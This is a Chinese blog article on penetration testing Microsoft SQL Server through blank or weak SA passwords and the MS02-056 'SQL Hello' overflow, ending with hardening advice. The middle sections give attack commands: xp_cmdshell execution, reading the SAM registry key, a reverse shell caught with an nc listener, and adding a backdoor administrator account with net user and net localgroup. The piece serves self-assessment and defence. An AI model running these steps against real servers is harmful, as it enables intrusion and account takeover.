一、引言

  微软的SQL Server是一种广泛使用的数据库,很多电子政务、电子商务和企业内部信息系统都是基于SQL Server建设的。政府部门和企业组织的很多数据都保存在这种数据库中,比如政务文件信息、职工薪水和文档资料等,甚至一些敏感的数据也存放在这种数据库中,如政府事务安排、一些重要决策和企业市场计划等。这些重要数据应该得到合理保护,以便防止竞争者和其他非法人员攻击、获取。

  但是由于数据库一般处在信息系统的内部网络区域,在“防外不防内”的保护思想指导下,数据库管理系统通常没有像操作系统和网络设备这样在安全性上受到应有的重视。数据库系统中存在的安全漏洞和不当的配置通常会带来严重的后果。特别是漏洞繁多的MS SQL Server数据库,它属于“端口”型数据库,这就表示任何人都能够用分析工具直接连接数据库,而绕过一些网络和操作系统的安全机制,进而侵入系统、破坏和窃取数据资料,甚至破坏整个信息系统。

  鉴于此,本文提出利用两类不同的安全漏洞进行SQL Server渗透测试的方法,以指导数据库管理员进行自测试评估,及时发现严重漏洞,并进行漏洞修补。这两类漏洞具体是:SA用户空/弱口令和缓冲区溢出漏洞。

  二、基础

  MS SQL Server是由Microsoft开发和推广的关系数据库管理系统,具有真正的客户机/服务器体系结构、图形化用户管理界面、丰富的编程接口工具等诸多特点。很多电子政务、电子商务网站和企业内部信息化平台等都是基于SQL Server的。在软件结构上,SQL Server由两个部分组成:服务器组件和客户端工具。客户端工具与服务器组件的连接,可以使用多种网络协议,例如TCP/IP、命名管道等。在默认情况下,SQL Server使用的TCP端口为1433。

  SQL Server存在一个不能更改、也不能删除的超级用户SA。这个用户应该使用一个非常强壮的密码,然而,很多数据库账号的密码过于简单,甚至是空口令,这就给渗透测试提供了一个很好的、可以利用的安全漏洞,这也常常是信息系统被轻易攻击的原因

  SQL Server的存储过程是为完成特定的功能而汇集在一起的,经编译后存储在数据库中的SQL程序在SQL Server的系列版本存在一类比较特殊的存储过程——扩展存储过程。SQL Server的扩展存储过程是一个普通的Windows DLL,只是要按照某种规则来实现这些函数。扩展存储过程可直接在SQL Server实例中运行。SQL Server默认情况下,包含有访问系统注册表、服务器文件系统、服务器硬件信息的扩展存储过程。这些存储过程存在安全隐患。其中对渗透测试特别有用的一个扩展存储过程是xp_cmdshell,通过它可以在Windows、系统的一个shell上执行任意CMD命令。

  对SQL Server数据库中不同安全漏洞的利用,可以达到不同的目的例如,通过一些漏洞的利用,可以访问本来不可访问的数据,包括读和写等;通过一些漏洞的利用,可以执行一些代码,从而获得目标系统的访问权限或本地系统的更高权限等。我们重点讨论后者,包括SQL Server的SA用户空/弱口令的利用和两个典型的、非常重要的缓冲区溢出漏洞的利用等。

  三、SA用户空/弱口令的利用

  漏洞扫描是渗透测试的关键一步。为了更好地完成识别出SQL Server的SA用户空/弱口令漏洞。我们可以选用开源软件Nessus扫描器,也可以使用商用漏洞扫描器,如绿盟的漏洞扫描工具等。

  如果漏洞扫描器报告SA用户的口令为空,则就可以直接利用。使用SQLTools工具连接服务器,登录数据库后,就可以进行各种各样攻击了,如窃取本来不能访问的数据,破坏数据库中数据的完整性等,甚至进一步利用扩张存储过程进行主机操作系统的渗透,获得数据库服务器主机的用户权限,从而进一步控制该主机。

  如果漏洞扫描结果中报告SA用户的口令为弱口令,则我们可以进一步使用SA弱口令扫描器Scan-SQL进行扫描,获得SA的口令。如图1。

  

  通过ScanSQL扫描得到SA用户的口令,就可以管理和控制SQL Server数据库了,而且可以利用这个权限去获得网络上更多的控制权。这可以通过许多途径来达到:一种比较简单的方法是使用现成工具,如使用SQLTools;另一种方法是可以通过手工方式来完成。

  SQLTools是一款专门攻击SQL主机的工具,它的功能包括有:登陆SQL服务器,从而在SQL服务器上执行DOS命令,上传文件,增加SQL账户以及更改SQL服务器注册表等操作,如图2所示。

  

  另外一种获得网络上更高的控制权的途径是以SA用户通过SQL Server的查询分析器连接数据库服务器,以手工方式执行各种存储过程和相关命令,包括:l)使用xp_cmdshell扩展存储过程执行操作系统的命令;2)利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键;3)使用“bulk insert”语法去读服务器上的任意文件;4)使用sp_OACreate、sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序等。例如,使用xp_cmdshell执行各种各样的功能,命令如下,返回结果如图3所示:

  Exec master..xp_cmdshell 'lir'

  Exec master..xP_cmdshell 'net user'

  

  四、缓冲汉溢出漏洞的利用

  利用缓冲区溢出漏洞进行渗透是最常用的方法。其实,缓冲区溢出漏洞利用的原理很简单:向存在缓冲区溢出漏洞程序中一个有限空间的缓冲区拷贝一个过长的字符串,这可能会出现两种后果:一是过长的字符串覆盖了相临的存储单元而造成程序瘫痪,甚至造成宕机、系统或进程重启等;二是可让攻击者运行恶意代码,执行任意指令,甚至获得超级权限等。

  有资料显示,许多攻击事件与缓冲区溢出漏洞有关,在网络空间中利用这种缓冲区溢出漏洞而发起的攻击屡见不鲜。早在1988年,莫里斯就利用Unix程序不限制输入长度的漏洞进行恶意攻击,并感染到其他机器上。2003年“SQL slammer”蠕虫王的发作就是利用未及时更新补丁的MS SQL Server数据库缓冲区溢出漏洞获得非法权限(MS 02-039 Microsoft SQL Server 2000 Resolution服务远程堆缓冲区溢出漏洞),并感染其他机器的。

  下面我们分析SQL Server的另一个缓冲区溢出漏洞(MS 02-056 Microsoft SQL Server预验证过程远程缓冲区溢出漏洞,也称SQL Hello溢出)的利用。SQL Hello溢出可以针对Microsoft SQL Server的预验证过程存在的问题,通过连接TCP 1433端口就可以进行缓冲区溢出攻击。由于问题出现在验证之前,所以无需验证就可以进行攻击,能使攻击者以SQL进程权限在系统上执行任意指令。Sqlhello是溢出反向连接工具,下面介绍它的使用。

  

  首先,用工具NC在本机建立一个TCP监听端口,等待反向连接。NC是一个非标准的telnet客户端程序。在DOS命令提示符下输人命令NC-v-p556,出现表示在等待的省略号。然后,执行Sqlhello进行溢出,使用方法:SQLhello.exe目标主机IP 1433本地IP 556。556是NC监听的端口。最后回到还在监听的NC命令窗体,等待的省略号已经变为了系统的SHELL,这也正是远程主机的命令控制台。SHELL是操作系统的最外层,管理着用户与操作系统交互、通讯、执行等工作的操作。得到了对方的SHELL,就代表着已经拥有了与对方计算机直接沟通、下达命令的平台。

  用Net命令增加用户,并提升权限。在其命令行下输入Net User Administrators test 123456/add的命令,就可以建立一个属于自己名为“test'',密码是123456的普通账户。在将所建用户的权限提升为管理员,敲入Net Localgroup Administrators test/add命令,如图4所示。最后使用本机自带的远程终端软件,敲入刚才溢出的IP以及建立/提升的用户,进行“远程连接”登录,稍等片刻后,就可以管理对方主机了。

  对SQL Server的缓冲区溢出漏洞的利用也可以使用Metasploit工具来完成。Metasploit是一款开源的安全漏洞检测工具。最新版本的MSF包含了180多种当前流行的操作系统和应用软件的exploit,以及100多个shellcode。对SQL Server该工具包括了两种漏洞的溢出攻击插件,如图5所示。

  

  五、安全加固建议

  基于以上的测试分析,我们提出如下三点安全加固建议供数据库管理员参考使用。

  (1)使用健壮的用户口令策略。我们把用户口令策略摆在所有安全配置的最前面,这是因为我们发现在政府部门和企业组织的数据库中,很多数据库账号的口令过于简单,特别是SA用户更应该注意。SQL Server 2000安装时,如果是使用混合模式,那么就需要输入SA的密码,除非你确认必须使用空密码。同时要养成定期修改口令的好习惯。数据库管理员应该定期查看是否有不符合口令要求的账号。

  (2)管理扩展存储过程。对存储过程进行大手术,并且对账号调用扩展存储过程的权限要慎重。其实在多数应用中根本用不到多少系统的存储过程,而SQL Server的这么多系统存储过程只是用来适应广大用户需求的,所以请删除不必要的存储过程,因为有些系统的存储过程能很容易地被人利用起来提升权限或进行破坏。特别是扩展存储过程xp_cmdshell,如果你不需要它,就删除它。同时,去掉不需要的注册表访问的存储过程,注册表存储过程甚至能够读出操作系统管理员的密码来。

  (3)进行及时升级管理。数据库版本信息可以帮助渗透人员确定相应版本存在的漏洞,以便更好地组织渗透。对SQL Server,版本信息还可以告知安装的补丁信息,如表1。

  

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/16436858/viewspace-594830/,如需转载,请注明出处,否则将追究法律责任。

转载于:http://blog.itpub.net/16436858/viewspace-594830/

SQL Server渗透测试方法相关推荐

  1. SQL Server密码爆破工具SQLdict

    SQL Server密码爆破工具SQLdict SQL Server是Windows系统常用的数据库服务器.它广泛采用用户名和密码方式,进行身份认证.Kali Linux提供一款专用的数据库密码爆破工 ...

  2. 使用OPENROWSET爆破SQL Server密码

    使用OPENROWSET爆破SQL Server密码 OPENROWSET函数是SQL Server提供的一个连接函数.它可以用于使用OLE DB方式连接一个数据库,并进行数据查询等操作.使用该函数的 ...

  3. SQL Server的WAITFOR DELAY注入

    SQL Server的WAITFOR DELAY注入 WAITFOR是SQL Server中Transact-SQL提供的一个流程控制语句.它的作用就是等待特定时间,然后继续执行后续的语句.它包含一个 ...

  4. SQL Server Management Studio清除历史登陆记录

    今天做渗透,登陆目标服务器的数据库管理后发现留下了登陆的记录,自己鼓捣了半天,终于解决   删除C:\Documents and Settings\guest\Application Data\Mic ...

  5. SQL SERVER 与ACCESS、EXCEL的数据导入导出转换

    * 说明:复制表(只复制结构,源表名:a 新表名:b)       select * into b from a where 1<>1 * 说明:拷贝表(拷贝数据,源表名:a 目标表名:b ...

  6. Sql Server 2005 row_number()分页性能测试

    现在分页方法大多集中在select top/not in/游标/row_number,而select top分页(在这基础上还有二分法)方法似乎更受大家欢迎,这篇文章并不打算去讨论是否通用的问题,本着 ...

  7. SQL Server “Denali” ---SQL 2012 新特性

    SQL Server "Denali" 作为云就绪信息平台中的关键组件,可以帮助企业释放突破性的业务洞察力:它对关键业务充满信心,能够快速地构建相应的解决方案来实现本地和公有云之间 ...

  8. 使用SignalR和SQLTableDependency进行记录更改的SQL Server通知

    目录 介绍 增强功能 怎么运行的 Watch Dog 代码 测试方法 参考文献 从Github下载源代码 介绍 SqlTableDependency是一个类,用于在指定查询的结果集由于对数据库表执行的 ...

  9. SQL Server应用程序中的高级SQL注入

    作者:不详 来源:techtarget http://www.csai.cn 2006年5月11日 摘要:这份文档是详细讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVER平台.它 ...

最新文章

  1. Request.ServerVariables获取环境变量
  2. ESP32 One-Wire驱动功能
  3. mysql游标嵌入式_Oracle与MySQL内嵌游标的使用示例
  4. 数字图像处理实验(9):PROJECT 04-05,Correlation in the Frequency Domain
  5. php curl 句柄 复用,PHP-curl multi批处理CPU负载过高的解决办法
  6. 判断标签是否出界,重新设置样式
  7. vc2010+openCV1.0实现将指定目录下的所有jpg文件缩放后存放到目标文件夹
  8. 小D课堂 - 零基础入门SpringBoot2.X到实战_第4节 Springboot2.0单元测试进阶实战和自定义异常处理_21、SpringBoot2.x配置全局异常返回自定义页面...
  9. html5画布动态时钟,HTML5之canvas绘制动态时钟
  10. 单片机C语言LED点阵编程,单片机LED点阵的介绍
  11. less css 视频教程
  12. C++二进制数转十进制
  13. win7计算机里不显示摄像头,win7系统不显示摄像头的解决方法
  14. 设备功耗计算专题《低功耗实战篇,ESP8266睡眠模式1@深度睡眠Deep-sleep》
  15. 送人玫瑰,手有余香----七夕情人节的电子玫瑰
  16. 魔兽世界的地形和建筑
  17. 使用Git克隆vue-element-admin项目报错的解决方案
  18. 学习记录:Unity点击屏幕生成随机UI花朵
  19. 用Latex编辑数学公式
  20. 【个人网站搭建】GitHub pages+hexo框架下为next主题添加分类及标签

热门文章

  1. 辟谣!男程序员都是秃头,女程序员满脸痘痘
  2. JSP-EL表达式语言
  3. 机顶盒DVBS频点计算 5150 9750 950 2150
  4. librosa | 系统实战(十八~十九)写音频音乐
  5. 生成式AI为百度打开想象力
  6. 十进制转与26进制的相互转换
  7. mysql alter table drop primary key_删除主键: Alter table tabname drop primary key(col)
  8. 2022跨境电商物流行业发展趋势报告
  9. ppt菜鸟学飞第二天——形状知识及其应用
  10. python时间间隔循环_python循环间隔